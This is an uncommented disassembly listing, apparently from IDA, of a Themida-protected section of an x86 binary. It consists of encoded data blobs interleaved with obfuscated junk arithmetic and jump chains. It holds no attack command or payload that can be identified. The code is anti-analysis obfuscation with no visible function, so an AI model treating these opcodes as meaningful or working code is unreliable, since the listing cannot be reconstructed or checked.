0F0000000h, 0F0005A66h, 0FE8AB652h dd 0FAE680CEh, 6E42E9h, 1F68100h, 0E972F179h, 596h, 1834B850h dd 0C5292CECh, 11C2E958h db 1, 0 ; --------------------------------------------------------------------------- loc_505956: ; CODE XREF: Themida_:00509681j shr eax, 0Ch jmp loc_50CFB6 ; --------------------------------------------------------------------------- loc_50595E: ; CODE XREF: Themida_:0050A98Cj add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_50ED0A ; --------------------------------------------------------------------------- dw 1489h dd 4C6BBA24h, 0EA815A71h, 2D451FF7h, 63E1EA81h, 0DAF71ABBh dd 5742E2D1h, 0FFDC2AE9h, 0E9C388FFh, 8FA2h, 5676E181h dd 0E18106F4h, 22B71303h, 0FFF92CE9h, 0C8966FFh, 13F5E924h dd 5A580001h, 5B66FA00h, 8430E9h, 243C8700h, 2C6835Ch dd 191FE9h, 40B85000h, 0BA1E415Bh, 3AE4CE87h, 0E958C229h dd 64A9h ; --------------------------------------------------------------------------- loc_5059DC: ; CODE XREF: Themida_:0050FB9Dj push eax mov ah, 3Bh mov cl, ah pop eax push eax mov ah, 5Fh sub ah, 1 sub cl, ah pop eax jmp loc_509F3E ; --------------------------------------------------------------------------- loc_5059F0: ; CODE XREF: Themida_:00517AB5j mov ebx, 3FA97EFBh not ebx xor ebx, 0A384F3Ah sub esp, 4 jmp loc_50F391 ; --------------------------------------------------------------------------- dd 0C107E0C1h, 8E908E0h, 33FFFFEEh, 4312404h, 24043324h dd 2414875Ch, 2404095Ch, 0D0A1E99Ch, 0E8C1FFFFh, 1AEE0D02h dd 41E94FB3h, 0B9000120h, 2ED87430h, 66B0E9h, 67E98100h dd 3183E8A8h, 348B59CDh, 4C48124h, 89000000h, 0C9095DEAh dd 6FE7840Fh, 0EC830000h, 243C8904h, 0E952E789h, 3B21h ; --------------------------------------------------------------------------- loc_505A6C: ; CODE XREF: Themida_:0051183Bj add ecx, 28C647Ch or ecx, 1B0B51D1h add ecx, 3D17E10Eh jmp loc_510920 ; --------------------------------------------------------------------------- db 68h dd 33CEh, 24048F54h, 4240481h, 5A000000h, 0FFFBBAE9h, 0DDF75EFFh dd 0CEBD5556h, 8155725Dh, 0F735F8EDh, 8F0BE957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_505AAE: ; CODE XREF: Themida_:005173EFj push ebx mov ebx, 68233D49h xor ebx, 68233D48h jmp loc_505810 ; --------------------------------------------------------------------------- db 66h dd 665DEF31h, 66633A2Dh, 0CAE9F829h, 81000000h, 0EB2E47EAh dd 0C2835F06h, 24143302h, 33241431h, 248B2414h, 48B6624h dd 0A128E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_505AEE: ; CODE XREF: Themida_:0050BF9Ej add ebp, 2 push 7593h mov [esp], ebp push dword ptr [esp+4] push dword ptr [esp] pop ebp jmp loc_5161AC ; --------------------------------------------------------------------------- dw 0F9BFh dd 81670367h, 5D3BC7EFh, 3EFC10Ah, 0BD6C781h, 814733D9h dd 549A96F7h, 0E9FA3123h, 0BF19h, 4BDh, 0FFEE0100h, 0E95D2434h dd 20F8h, 4E7C14Fh, 91A0E9h, 91C38100h, 8106E15Eh, 0EC3C7CEBh dd 81C3294Fh, 0EC3C7CC3h, 0A74E94Fh, 805C0001h, 89E9FEEBh dd 0B7000077h, 80D7F679h, 0B25249E7h, 80CAFED3h, 0E2C06BCAh dd 3DC28004h, 1FDDE9h db 0 ; --------------------------------------------------------------------------- loc_505B7D: ; CODE XREF: Themida_:00506E2Dj push 19A47D9Ah jmp loc_51404E ; --------------------------------------------------------------------------- db 4Fh dd 4A2FE781h, 0F7816477h, 44630200h, 0F002E9h, 3A056600h dd 8B665F63h, 0C4812434h, 2, 74146866h, 24348966h, 1A4F68h dd 9E8CE900h, 0C3800000h, 5BD90021h, 8004E1C0h, 0C82892F1h dd 89515966h, 4C181E1h, 81000000h, 4E9h, 240C8700h, 176DE95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_505BE2: ; CODE XREF: Themida_:00513819j add ebx, 361B7B94h jmp loc_5077BA ; --------------------------------------------------------------------------- loc_505BED: ; CODE XREF: Themida_:00506E6Fj pop ebx add esp, 4 push esi mov esi, 213542F1h add eax, esi pop esi sub eax, ebx sub eax, 213542F1h jmp loc_50ACA7 ; --------------------------------------------------------------------------- loc_505C06: ; CODE XREF: Themida_:00513B0Cj sub edi, ecx add edi, 413E11CFh mov ecx, [esp] add esp, 4 and ecx, edi mov edi, [esp] push edx push esp mov edx, [esp] push ebx mov ebx, esp add ebx, 4 jmp loc_515789 ; --------------------------------------------------------------------------- aSds db '\é„é',0 dd 4B800h, 44010000h, 0B3E90424h db 0Ah, 1, 0 ; --------------------------------------------------------------------------- loc_505C43: ; CODE XREF: Themida_:0050F7FDj push edi jmp loc_516963 ; --------------------------------------------------------------------------- db 8Bh, 3Ch, 24h dd 8104C483h, 4C4h, 5348E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_505C5A: ; CODE XREF: Themida_:0051637Cj jmp loc_502ACB ; --------------------------------------------------------------------------- db 54h dd 0A5F3E9h db 0 ; --------------------------------------------------------------------------- loc_505C65: ; CODE XREF: Themida_:0050ACB5j ; Themida_:loc_50EF3Fj push ebp push esp pop ebp push 34DAh mov [esp], eax push 5A7Dh mov [esp], esi mov esi, 4 push esi xor dword ptr [esp], 4B5E4C19h pop eax xor eax, 4B5E4C19h pop esi jmp loc_5158D3 ; --------------------------------------------------------------------------- loc_505C91: ; CODE XREF: Themida_:0051518Fj mov ebp, 3B1D1D3Ah jmp loc_50C553 ; --------------------------------------------------------------------------- db 81h dd 4C6h, 4C68300h, 5C243487h, 573768h, 241C8900h, 0FF30428Fh dd 34FF2434h, 241C8B24h, 0E3C9E9h, 243C8B00h, 3047E9h db 0 byte_505CC9 db 68h, 0Ch, 79h ; DATA XREF: Themida_:00502880o dd 3C890000h, 0BF24h, 0EC830000h, 24148904h, 55515A54h dd 10413E9h, 0FDC18100h, 8B602701h, 0B368243Ch, 8900001Bh dd 0E189240Ch, 4BE56h, 0F1010000h, 4C1815Eh, 87000000h dd 17E9240Ch db 63h, 2 dup(0) ; --------------------------------------------------------------------------- loc_505D0F: ; CODE XREF: Themida_:005114F7j mov [esp], ebp push esi jmp loc_514026 ; --------------------------------------------------------------------------- dd 33240431h, 0E0E92404h db 0Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_505D23: ; CODE XREF: Themida_:0050B228j push edx mov dh, 0A3h neg dh sub dh, 0F0h dec dh shr dh, 2 jmp loc_50A552 ; --------------------------------------------------------------------------- db 50h, 53h, 51h dd 1A2891B9h, 0E9CB8946h, 1D9Eh, 0D8005B66h, 2C1AB252h dd 4D02847h, 24148B47h, 6604C483h, 0E946B252h, 531Dh, 4EC81h dd 1C890000h, 24048024h, 0DBF65B01h, 5750E3D0h, 0BE56E789h dd 4, 1B0CC781h, 0F70105F6h, 808CE9h db 0 ; --------------------------------------------------------------------------- loc_505D89: ; CODE XREF: Themida_:0050F3AEj mov eax, edx pop edx mov esi, eax pop eax push 47F2h jmp loc_512971 ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 2401E9h, 24343300h, 0CFEB815Ch, 113904Bh, 0CFC381EBh dd 0E913904Bh, 4D77h ; --------------------------------------------------------------------------- loc_505DB8: ; CODE XREF: Themida_:00510A77j pop eax push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] jmp loc_50B12B ; --------------------------------------------------------------------------- loc_505DCD: ; CODE XREF: Themida_:0050D281j xor edx, edx jmp loc_5086B9 ; --------------------------------------------------------------------------- dd 54240489h, 8324048Bh, 895304C4h, 3CE951E3h, 0FFFFFFEBh dd 7BE92434h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_505DEF: ; CODE XREF: Themida_:005161B7j jmp loc_502ACB ; --------------------------------------------------------------------------- dd 0B353FAB4h, 0CFEC8014h, 0B151DC00h, 0BBF18044h, 20B8E9h db 0 ; --------------------------------------------------------------------------- loc_505E09: ; CODE XREF: Themida_:0050A9F0j mov edx, 46B12A9Ch neg edx xor edx, 0D49E94F5h mov eax, 0EC624D03h jmp loc_5146F9 ; --------------------------------------------------------------------------- dd 0EC3BE959h, 0F9F6FFFFh, 0CCB60F66h, 0E95F5457h, 1956h dd 70AC68h, 241C8900h, 0E9CDB551h, 0AFE8h ; --------------------------------------------------------------------------- loc_505E44: ; CODE XREF: Themida_:0050A7CAj mov esi, 657B1005h dec esi sub esi, 95B358CDh sub edx, esi pop esi jmp loc_512E6A ; --------------------------------------------------------------------------- loc_505E58: ; CODE XREF: Themida_:0050A658j add al, 37h push cx jmp loc_50517A ; --------------------------------------------------------------------------- db 5Bh, 0E9h, 6Ch dd 0FF00001Dh, 348B2434h, 0E0895024h, 9488E9h db 0 ; --------------------------------------------------------------------------- loc_505E75: ; CODE XREF: Themida_:00513528j shl ecx, 8 add ecx, 3DE01DBEh jmp loc_507C86 ; --------------------------------------------------------------------------- db 8Bh dd 0DE9243Ch, 88FFFFE4h, 5FE95AF1h db 0E9h, 2 dup(0) ; --------------------------------------------------------------------------- loc_505E93: ; CODE XREF: Themida_:005073E7j mov [esp], ebx mov ebx, 4 add esi, ebx pop ebx jmp loc_506C1A ; --------------------------------------------------------------------------- db 66h dd 3CC98059h, 6CF180h, 2434FFCCh, 3AE4E9h, 0BF575200h dd 448E6F65h, 15FFA89h, 0E9082454h, 10050h, 0BD5AD131h dd 9F83044Dh, 0E959CD01h, 0FFFFEE36h, 0E34E94Eh, 0C6810000h dd 4EBEF6FAh, 575EF589h, 56685FBFh, 49F78177h, 81626B6Bh dd 3E8783EFh, 0E9F989B9h, 0FFFFDB99h, 5AD530h, 0C96859EBh dd 89000025h, 5366240Ch, 0F9880EB7h, 0E1805B66h, 0BEC1806Ch dd 8059CB00h, 0D828FDC3h, 847DE9h, 4C48300h, 0B050DFF6h dd 135AE956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_505F36: ; CODE XREF: Themida_:00517973j pop esi push ecx jmp loc_50F826 ; --------------------------------------------------------------------------- loc_505F3D: ; CODE XREF: Themida_:005090B5j sub ebx, eax jmp loc_50F001 ; --------------------------------------------------------------------------- dd 8124348Bh, 4C4h, 23E95700h, 8B00003Ch, 4892424h, 0DA67E924h dd 0BA520000h, 3E214FC1h, 815AD321h, 9103F8F3h, 0AB95118h dd 4131240Dh, 0FFEA4FE9h db 0FFh byte_505F79 db 64h, 66h, 8Bh ; DATA XREF: Themida_:00502A48o dd 74686602h, 489666Dh, 0A2C9E924h, 0E95D0000h, 0F06Eh ; --------------------------------------------------------------------------- loc_505F90: ; CODE XREF: Themida_:00504D98j pop ebp add edx, ecx push eax mov eax, 24EB4D0Eh shr eax, 6 shl eax, 6 sub eax, 0E10009A7h sub edx, eax pop eax mov eax, [edx] jmp loc_507F1D ; --------------------------------------------------------------------------- dw 0EA83h dd 24148704h, 240C895Ch, 3D3E68h, 48F5400h, 68575024h dd 9E53159h, 55EF815Fh, 8909E531h, 44015FF8h, 8B580424h dd 0C483240Ch, 2CE56804h, 0ACE90000h, 0FFFFFFCDh, 34FF2434h dd 0F9E95B24h, 8B000051h, 5DE9240Ch, 8000010Ch, 0FA005FC2h dd 5B5FEA80h, 0C05AD008h, 0B75308E0h, 5BF820A2h, 0C6201B2Ch dd 8124048Bh, 4C4h, 9CA4E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_506022: ; CODE XREF: Themida_:0051062Ej push eax mov eax, 24A837FDh sub esp, 4 mov [esp], edx mov edx, 756A02EAh push esi mov esi, 7485CC6h sub edx, esi pop esi jmp loc_509C9E ; --------------------------------------------------------------------------- loc_506041: ; CODE XREF: Themida_:0050A0D1j sub ebx, 704C12DCh sub ecx, ebx pop ebx and eax, ecx mov ecx, [esp] jmp loc_50BCC7 ; --------------------------------------------------------------------------- loc_506054: ; CODE XREF: Themida_:00513DCDj push 3425h mov [esp], esi push 10h mov esi, [esp] add esp, 4 and ebx, esi push dword ptr [esp] mov esi, [esp] push eax mov eax, esp jmp loc_50A801 ; --------------------------------------------------------------------------- dw 815Ah dd 0A4CA3C2h, 81DA0178h, 0A4CA3EAh, 0EA835B78h, 24143304h dd 33241431h, 895C2414h, 2CE92404h, 89FFFFCAh, 535859CEh dd 43D6E956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5060AA: ; CODE XREF: Themida_:0050BC8Dj mov edi, 4F2C3868h neg edi inc edi and edi, 506C2ED1h neg edi push ecx mov ecx, 60702A9Dh add ecx, 2A5775FCh add ecx, 446C2179h add ecx, 208C3759h xor edi, ecx pop ecx add ecx, edi pop edi sub ecx, 4 xchg ecx, [esp] jmp loc_50FE73 ; --------------------------------------------------------------------------- loc_5060E3: ; CODE XREF: Themida_:005177E3j mov [esp], ecx jmp loc_5154CF ; --------------------------------------------------------------------------- loc_5060EB: ; CODE XREF: Themida_:0050F17Fj add esp, 4 push 6C28h jmp loc_51062B ; --------------------------------------------------------------------------- loc_5060F8: ; CODE XREF: Themida_:005158A2j xor edi, [esp] jmp loc_50C711 ; --------------------------------------------------------------------------- dd 2D2368h, 0A5ACE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50610A: ; CODE XREF: Themida_:00512430j mov [esp], esp push 6D07h mov [esp], ebp mov ebp, 4 jmp loc_5157C1 ; --------------------------------------------------------------------------- loc_50611F: ; CODE XREF: Themida_:005121EBj shr eax, 3 neg eax push ecx mov ecx, 15F578B4h jmp loc_50A2F5 ; --------------------------------------------------------------------------- db 81h dd 0F213A0C1h, 6CB26811h, 34890000h, 2401E924h, 0FA010000h dd 1029E95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_50614A: ; CODE XREF: Themida_:0050A5B6j sub ecx, 62EF337Dh add ecx, edx sub esp, 4 mov [esp], ebp mov ebp, 62EF337Dh sub ecx, 221D7C30h add ecx, ebp add ecx, 221D7C30h pop ebp pop edx push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], edi mov edi, 63C352E7h neg edi and edi, 5C1B2F73h xchg ebp, edi xchg ecx, ebp xchg ebx, ecx jmp loc_50D748 ; --------------------------------------------------------------------------- db 53h dd 0C32DC0BBh, 5BD83116h, 0C105E8C1h, 0E8D106E0h, 0B335D8F7h dd 0E980F8F2h, 879Bh, 0CA232C05h, 8BC5898Bh, 0C4832404h dd 8BEF0904h, 0C481242Ch, 4, 0F781D7F7h, 6E1160EAh, 806EF781h dd 0A3E9E6D4h db 18h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5061E3: ; CODE XREF: Themida_:005043BAj mov [esp], ecx push ebp push ebx jmp loc_507DBB ; --------------------------------------------------------------------------- db 87h, 14h, 24h dd 2EFDE9h, 240C8B00h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push edi push ebp push 769907BAh jmp loc_5057C2 ; --------------------------------------------------------------------------- loc_506217: ; CODE XREF: Themida_:005046A3j push eax push esp mov eax, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp add eax, 4 sub eax, 4 xchg eax, [esp] jmp loc_517929 ; --------------------------------------------------------------------------- a@_dYhb db '¹@.D/',9,'ÏYh¡',9,0 align 4 aS_6 db 'éÓ¼',0 dd 309AB500h, 0CCC6E9ECh db 2 dup(0) ; --------------------------------------------------------------------------- loc_50625A: ; CODE XREF: Themida_:005126DCj sub ebp, 659A4243h shr ebp, 7 add ebp, 25285ABAh xor ebp, 5ED70A17h push ebp jmp loc_50AAC8 ; --------------------------------------------------------------------------- db 8Bh, 1Ch, 24h dd 4C481h, 0EC810000h, 4, 81240C89h, 4ECh, 24348900h, 4EC81h dd 0C890000h, 3296B924h, 4C296299h, 0C8B0424h, 4C48324h dd 0E9240C8Bh, 1565h, 4C481h, 0BE560000h, 0C27524CBh, 348BF229h dd 8996E924h, 0C5010000h, 7217B850h, 0C5297241h, 0ED815858h dd 4, 5C242C87h, 0E9240489h, 628Dh ; --------------------------------------------------------------------------- loc_5062E4: ; CODE XREF: Themida_:0050F44Cj pop esp sub esp, 4 mov [esp], edx mov edx, esp add edx, 4 add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] imul ecx, eax push ecx pushf jmp loc_502ACB ; --------------------------------------------------------------------------- loc_50630F: ; CODE XREF: Themida_:00505615j add esp, 4 add [esp+4], edi jmp loc_50AF99 ; --------------------------------------------------------------------------- loc_50631E: ; CODE XREF: Themida_:00512D09j mov edx, eax jmp loc_50B7CB ; --------------------------------------------------------------------------- loc_506325: ; CODE XREF: Themida_:00510FF5j and ebx, 434E2965h and ebx, 2C8A6F5Fh or ebx, 2B9B0370h sub ebx, 2B9B2B70h push eax jmp loc_51476F ; --------------------------------------------------------------------------- db 57h dd 23640FBFh, 0CFA9BA17h, 0C2810505h, 686A57F0h, 2F21C281h dd 0FA011D25h, 1032DE9h db 0 ; --------------------------------------------------------------------------- loc_506361: ; CODE XREF: Themida_:0050DFEDj jmp loc_502ACB ; --------------------------------------------------------------------------- loc_506366: ; CODE XREF: Themida_:005103FCj sub esp, 4 mov [esp], ebx mov ebx, 114D5CBCh dec ebx sub ebx, 1772046Bh sub eax, ebx mov ebx, [esp] add esp, 4 add ebp, eax pop eax and eax, ebp pop ebp shr eax, 18h xor eax, ecx push ebx mov ebx, esp push edi mov edi, 70A4BA0h not edi xor edi, 4EE44B97h xor edi, 0B611FFCCh jmp loc_50FFAD ; --------------------------------------------------------------------------- dw 875Ch dd 248B241Ch, 4D04E924h, 0C6810000h, 4, 8704C683h, 515C2434h dd 0D1FFE9h, 8BDA0100h, 0C481241Ch, 4, 0E840E9h db 0 ; --------------------------------------------------------------------------- loc_5063D9: ; CODE XREF: Themida_:0050BDB8j mov esi, ebx push 71E4h jmp loc_5102C8 ; --------------------------------------------------------------------------- loc_5063E5: ; CODE XREF: Themida_:0050E37Fj add dword ptr [esp+8], 3B77F45h add dword ptr [esp+8], 36B10E2Bh sub [esp+8], esi sub dword ptr [esp+8], 36B10E2Bh sub dword ptr [esp+8], 3B77F45h jmp loc_50FF2A ; --------------------------------------------------------------------------- loc_50640E: ; CODE XREF: Themida_:00508C8Aj push ecx push 791E3CAEh pop ecx or ecx, 430A005Ah jmp loc_50C116 ; --------------------------------------------------------------------------- loc_506420: ; CODE XREF: Themida_:0050DCF1j not ebp xchg ebp, edi xchg edi, edx push eax mov eax, 68D517D9h inc eax dec eax push edi push ecx mov ecx, 1 mov edi, ecx pop ecx jmp loc_5117CC ; --------------------------------------------------------------------------- loc_50643D: ; CODE XREF: Themida_:0050953Bj pop edi add ecx, eax pop eax push ecx jmp loc_50DD1D ; --------------------------------------------------------------------------- db 35h dd 0E9AAEBC9h, 158C189h, 0C8D7E9C8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_506456: ; CODE XREF: Themida_:0050C230j push eax jmp loc_511F8C ; --------------------------------------------------------------------------- dword_50645C dd 7EE95452h, 31FFFFF2h, 0E9042474h, 0DD26h, 580CB951h ; DATA XREF: Themida_:00502944o dd 0BA5248D9h, 0B726A7F8h, 30E9D101h db 0E2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50647F: ; CODE XREF: Themida_:00506FCDj mov [esp], ebx jmp loc_51380C ; --------------------------------------------------------------------------- db 58h dd 0E924048Fh, 6CFAh, 8247429h, 8244481h, 5D8765A1h, 5624348Bh dd 0C681E689h, 4, 8704C683h, 0E95C2434h, 19EDh, 34FFEA01h dd 0DBCDE924h, 14F7FFFFh, 0BB535924h, 837D96C6h, 44E1E9h dd 30E95E00h, 81000082h, 0ED689FF3h, 63F38134h, 0E9AE850Ch dd 0FFFFFEE5h, 77BD5551h, 893B8B0Dh, 49E95DE9h, 5FFFFE8h dd 4, 0C41BE9h, 81E78900h, 4C7h, 4C78100h, 0E9000000h dd 4A28h, 0E95BDA01h, 0CF39h ; --------------------------------------------------------------------------- loc_506518: ; CODE XREF: Themida_:0050D34Fj mov [esp], edx push esp pop edx jmp loc_517C9D ; --------------------------------------------------------------------------- dw 8951h dd 4C181E1h, 81000000h, 4C1h, 240C8700h, 241C875Ch, 0E924248Bh dd 428Fh, 0D3F6D930h, 88515066h, 0CF8853D9h, 0A5E9FC88h dd 6600003Eh, 9C2404FFh, 9764E9h, 5DEE0100h, 0FFD50BE9h dd 1C8751FFh, 87D3F724h, 8159241Ch, 0EBAAE1F1h, 0E9C889F5h dd 6AD3h, 0FFA0E958h, 1433FFFFh, 48F5C24h, 7D63E924h, 0C3890000h dd 8FCB8158h, 81678601h, 333994F3h, 5BDE312Ah, 315EF189h dd 0E06859C8h, 89000010h, 0E389241Ch, 4C381h, 0EB830000h dd 241C8704h, 2434895Ch, 0B163E9h, 0E9EF0100h, 0FFFFCA25h dd 0F5C580h, 0F5ED80C5h, 8324048Bh, 0C5FE04C4h, 0E97DC580h dd 0F2Eh, 230E42BFh, 81D7F75Dh, 1C682AF7h, 0E9FA01F8h dd 15A0h ; --------------------------------------------------------------------------- loc_5065F8: ; CODE XREF: Themida_:005126E2j push ecx push 6EA34B9h push dword ptr [esp] jmp loc_512694 ; --------------------------------------------------------------------------- dw 0FB31h dd 5F2434FFh, 4C481h, 0C3810000h, 511283Ch, 0E904EC83h dd 9092h ; --------------------------------------------------------------------------- loc_506620: ; CODE XREF: Themida_:00506C35j xor ecx, 778338D9h neg ecx inc ecx sub esp, 4 mov [esp], edx mov edx, 0A492F34h sub edx, 1EA46F13h sub ecx, edx pop edx sub ebx, ecx pop ecx xchg ebx, [esp] pop esp mov [esp], edx mov edx, 1 jmp loc_50D817 ; --------------------------------------------------------------------------- db 33h, 14h, 24h dd 0FC96E9h db 0 ; --------------------------------------------------------------------------- loc_506659: ; CODE XREF: Themida_:0050EB40j push dword ptr [esp] pop ecx push ebx mov ebx, esp add ebx, 4 add ebx, 4 push 340Ch mov [esp], ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp push edx jmp loc_50365C ; --------------------------------------------------------------------------- loc_506680: ; CODE XREF: Themida_:005132B4j pop esi xchg ecx, [esp] pop esp jmp loc_506B9D ; --------------------------------------------------------------------------- dw 0D030h dd 187DE9h, 24348B00h, 0C118E9h, 241C8900h, 0B716B450h dd 42C780CFh, 11895E9h, 4B800h, 0F7E90000h db 0C9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5066B3: ; CODE XREF: Themida_:00512E85j pop ecx push 92Ch mov [esp], edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push dword ptr [esp] pop eax jmp loc_51626D ; --------------------------------------------------------------------------- loc_5066D4: ; CODE XREF: Themida_:00509FE7j mov ecx, [esp] sub esp, 4 jmp loc_50A587 ; --------------------------------------------------------------------------- dw 0C9BBh dd 147C64Ch, 6238E9DAh, 83580000h, 0EC8104C4h, 4, 50242C89h dd 0FE730CB8h, 0AA73BD25h, 0A8E97EFCh, 30000017h, 87DCE9ECh db 2 dup(0) ; --------------------------------------------------------------------------- loc_506712: ; CODE XREF: Themida_:0050C1ABj pop ebx xchg ebp, [esp] pop esp mov [esp], ebp jmp loc_50C151 ; --------------------------------------------------------------------------- db 1 dd 4875EF0h, 24248B24h, 4EC81h, 3C890000h, 0B10AE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_506736: ; CODE XREF: Themida_:005092EAj or eax, eax jz loc_514BB5 push 4461h mov [esp], ebx push edi jmp loc_50DA91 ; --------------------------------------------------------------------------- loc_50674C: ; CODE XREF: Themida_:00513E7Bj push edi jmp loc_50D535 ; --------------------------------------------------------------------------- dw 0C280h dd 48F28075h, 5131EA80h, 0EF88D588h, 2D8BE9h db 0 ; --------------------------------------------------------------------------- loc_506765: ; CODE XREF: Themida_:00515225j push ebp push 1B567E4Dh pop ebp xor ebp, 1A5B1F94h add ebp, 76C62AF1h not ebp xor ebp, 0C9B04D75h mov eax, ebp pop ebp mov ecx, eax mov eax, [esp] jmp loc_50A17B ; --------------------------------------------------------------------------- db 28h, 0F7h, 5Ah dd 0BE38E9h, 0E2C15900h, 4B85008h, 109F89Dh, 0EB8158C2h dd 3B4B2B41h, 0FFF032E9h, 4EC81FFh, 89000000h, 0A2BE2434h dd 892AA44Bh, 24348BF2h, 4C481h, 0B8500000h, 53B597Ah dd 0F38EE9h, 0BFC58000h, 0ED80FD28h, 0E8005BBFh, 14B5E959h dd 89660001h, 2434FFDEh, 5B2434FFh, 0E904C483h, 10EFEh dd 791268h, 24048900h, 36EFE957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_506802: ; CODE XREF: Themida_:00502E95j shr edi, 7 push 7392h mov [esp], ebx jmp loc_50E849 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 0E9241489h, 29D9h, 4AB0F66h, 3FE99C24h, 81000039h dd 0E31A7FC2h, 5AD129BCh, 6104E9h, 55575E00h, 824EDABDh dd 5E5C17Ah, 0E92F581h, 0E58141ECh, 678274E3h, 476FBA52h dd 0C14A5CE7h, 0C9E905E2h, 58000084h, 405h, 0E95500h db 4Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_50686B: ; CODE XREF: Themida_:005169B8j mov ebp, 1 and eax, ebp push dword ptr [esp] pop ebp jmp loc_5123C2 ; --------------------------------------------------------------------------- byte_50687B db 0ACh ; DATA XREF: Themida_:0050292Co dd 4EC81h, 14890000h, 4EC8324h, 0F47E9h db 0 ; --------------------------------------------------------------------------- loc_50688D: ; CODE XREF: Themida_:0050E9F8j add esp, 4 push 26B3h mov [esp], ecx jmp loc_50E30B ; --------------------------------------------------------------------------- db 0BFh, 56h, 50h dd 0EFC161AFh, 4EC8302h, 0BB241C89h, 58BA54C4h, 80D5BF57h dd 0AFE940D1h, 8B00008Bh, 0C481241Ch, 4, 0D8286104h, 6866612Ch dd 89662037h, 0D4B22414h, 4DE9D028h, 57000097h, 6B2CBFBFh dd 7BF7812Fh, 12C6F08h, 243C8BFAh, 0FFF9BFE9h, 4C481FFh dd 0E9000000h, 0DB15h ; --------------------------------------------------------------------------- loc_5068FC: ; CODE XREF: Themida_:0050E32Bj pop ecx add ecx, edx push dword ptr [esp] pop edx add esp, 4 jmp loc_512F77 ; --------------------------------------------------------------------------- loc_50690E: ; CODE XREF: Themida_:0050A705j mov edx, 4 add ecx, edx pop edx jmp loc_511364 ; --------------------------------------------------------------------------- db 0F7h dd 3F681DEh, 29431832h, 1B055EF2h, 11DA910h, 101B2DD0h dd 0E95A1DA9h, 0B195h, 345580B9h, 0FBC18115h, 814A0375h dd 5A336BE1h, 4E1C102h, 7A51E181h, 0D9F77238h, 6D8AC181h dd 0C82924F2h, 0EB90E959h, 0E089FFFFh, 405h, 42D00h, 4870000h dd 9E95C24h, 8B000083h, 89502404h, 405E0h, 0C0830000h dd 24048704h, 0E689565Ch, 81E28952h, 4C2h, 9BE6800h, 3C890000h dd 4BF24h, 0FA290000h, 4C42E9h, 0E9FC2800h, 0B2B9h ; --------------------------------------------------------------------------- loc_5069B0: ; CODE XREF: Themida_:00503D9Ej push dword ptr [esp] pop edx add esp, 4 push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], edx sub esp, 4 mov [esp], esp jmp loc_5098BA ; --------------------------------------------------------------------------- db 87h dd 8F5C241Ch, 0E95C2404h, 9BF9h, 0BD05D829h, 0E9242206h dd 852h, 0F0007004h, 2870B151h, 148B59C8h, 58545024h, 405h dd 4C08300h, 0E9240487h, 1347h, 0C5FEE530h, 0FE07E5C0h dd 4EC81C5h, 0E9000000h, 71AEh, 5E1F8D05h, 708B0502h, 0F02977C1h dd 0C1D1E9h, 0C8B6600h, 0E2895224h, 4C281h, 0EA830000h dd 24148704h, 243C895Ch, 0C781E789h, 4, 28F768h, 240C8900h dd 0D84E9h, 58C18900h, 159CE01h, 0ED815EF5h, 4, 31242C33h dd 2C33242Ch, 0CF7DE924h, 24890000h, 24048124h, 4, 8B2434FFh dd 89522414h, 4C281E2h, 0E9000000h, 56D2h, 73C8F4B9h, 1084E91Bh dd 4BE0001h, 0E9000000h, 0FE9Ch, 8FC331h, 32F5E9h, 0C4BD5500h dd 0BA08196Bh, 46EA1860h, 6C6DE9h, 0F7814700h, 545C43EDh dd 0B30E9h, 0E5815D00h, 7B616986h, 19C6F581h, 0BE56064Ah dd 2EAD2B9Fh, 392CCE81h, 0BFE9486Bh, 68FFFFEAh, 35F8266Fh dd 5A2434FFh, 4C481h, 0B3680000h, 8900000Eh, 65BE2434h dd 2961A858h, 57535EF2h, 0EB630BBFh, 5FFB8916h, 0EBC1D3F7h dd 6EBC108h, 8B8DE9h db 0 ; --------------------------------------------------------------------------- loc_506B2D: ; CODE XREF: Themida_:005038E2j and eax, ebx mov ebx, [esp] push edx push esp pop edx push esi mov esi, 4 add edx, esi jmp loc_50C4E7 ; --------------------------------------------------------------------------- dw 0DDF7h dd 0A28E952h db 1, 0 ; --------------------------------------------------------------------------- loc_506B4A: ; CODE XREF: Themida_:00513362j push dword ptr [esp] push dword ptr [esp] pop ecx jmp loc_517299 ; --------------------------------------------------------------------------- word_506B56 dw 2DADh ; DATA XREF: Themida_:005029D4o dd 6DD46003h, 0D5ECE957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_506B62: ; CODE XREF: Themida_:00511718j pop ecx sub edx, ebp add edx, 645930A2h mov ebp, [esp] jmp loc_5153D2 ; --------------------------------------------------------------------------- db 0BEh dd 4321671Ah, 0FFC01BE9h, 89665CFFh, 88502414h, 8AEE9D8h db 1, 0 ; --------------------------------------------------------------------------- loc_506B8A: ; CODE XREF: Themida_:0050DF73j mov ebx, 1A1D5204h jmp loc_5094AB ; 